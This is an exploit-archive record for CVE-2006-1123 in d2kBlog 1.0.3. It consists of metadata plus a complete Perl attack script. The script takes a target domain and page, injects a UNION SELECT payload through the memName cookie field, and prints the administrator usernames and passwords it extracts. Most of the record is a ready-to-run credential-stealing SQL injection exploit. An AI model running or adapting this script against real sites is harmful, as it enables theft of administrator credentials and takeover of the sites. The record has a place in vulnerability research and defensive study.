{"exploit":{"id":"EDB-1569","name":"d2kBlog 1.0.3 - 'memName' SQL Injection (SQLi)","description":"d2kBlog 1.0.3 - 'memName' SQL Injection (SQLi)","cves":["CVE-2006-1123"],"author":"DevilBox","published":"2006-03-09","platform":"asp","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1569","path":"exploits/asp/webapps/1569.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1569.pl","vulnerabilities":[{"id":"CVE-2006-1123","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in D2KBlog 1.0.3 and earlier allows remote attackers to execute arbitrary SQL commands via the memName parameter in a cookie.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-1123","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-1123"},"updatedAt":"2024-08-07T17:03:26.957Z","retrievedAt":"2026-11-26T15:06:53.718Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1569.png?v=2","url":"https://exploitbin.com/exploits/EDB-1569","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1569/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1569/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" #!/usr/bin/perl -w\n # D2KBLOG SQL injection\n # Discovered by : Farhad Koosha [ farhadkey [at} kapda.ir ]\n # Exploited by : devil_box [ devil_box [at} kapda.ir ]\n # member of : Kapda.ir - Security Science Researchers Institute of Iran (persianhacker.net)\n\nrequire LWP::UserAgent;\nrequire HTTP::Request;\nprint \"\\r\\n\\r\\n=-=-=-==================================================================-=-=-=\\r\\n\\r\\n\";\nprint \"\tKAPDA - Security Science Researchers Institute of Iran\\r\\n\\r\\n\";\nprint \"\tPoC for D2KBLOG SQL injection bug - Administrator Password Extractor\\r\\n\\r\\n\";\nprint \"\tOriginal Source : http://kapda.ir/advisory-287.html (persianhacker.net)\\r\\n\\r\\n\";\nprint \"\\r\\n=-=-=-==================================================================-=-=-=\\r\\n\";\n\n if (@ARGV != 2)\n {\n    print \"\tUsage: kapda_D2KBLOG_xpl.pl [Target Domain] [Vulnerable Page]\\n\\r\\n\";\n    print \"\tex: kapda_D2KBLOG_xpl.pl www.target.com /blog/profile.asp\\n\\r\\n\";\n    exit ();\n }\n\n\nmy $ua = LWP::UserAgent->new(env_proxy => 1,keep_alive => 1,timeout => 30,);\n\nmy $Path = $ARGV[0];\n\nmy $Page = $ARGV[1];\n\nmy $URL = \"http://\".$Path.$Page;\n\nprint \"|***| Connecting to \".$URL.\" ...\\r\\n\";\n\n$r = HTTP::Request->new(GET => $URL.\"?action=edit\");\n\n$r->header( \"Cookie\" =>$Path.\"=memPassword=&memStatus=&memName=<!--'UNION%20ALL%20select%201,1,1,'**stxt**|UserName|:|'%2bmem_name%2b'|-=-|Password|:|'%2bmem_password%2b'|**etxt**',1,1,1,1,1,1,1,1,'Discovered%20and%20coded%20by%20farhadkey%20from%20KAPDA.ir'%20from%20blog_member%20where%20mem_status='SupAdmin'%20or%20'1'='-->\" );\n\n$res = $ua->request($r);\n\nprint \"|***| Connected !\\r\\n\";\n\nif ($res->is_success) {\n\n\tprint \"|***| Extracting Username and Password ...\\r\\n\\r\\n\";\n\n\tmy $results = $res->content;\n\n\twhile($results=~/\\\"\\*\\*stxt\\*\\*(.*?)\\*\\*etxt\\*\\*\\\"/ig){ print \"-=-> $1 \\r\\n\"; }\n\n\tprint \"\\r\\n\tExploit by Devil_Box\\r\\n\t\tDiscovery by Farhad koosha\\r\\n\\r\\n\";\n\n } else {\n\tdie \"\\r\\n|***| \".$res->status_line;\n }\n\n# milw0rm.com [2006-03-09]","sha256":"129454faf55d26d50164abb26cc4715cfade4d9c9ecb7b3c40b1dc5eac19c329","bytes":1954,"fetchedAt":"2026-11-26T15:06:48.423Z","encoding":"utf-8 (display only; download retains original bytes)"}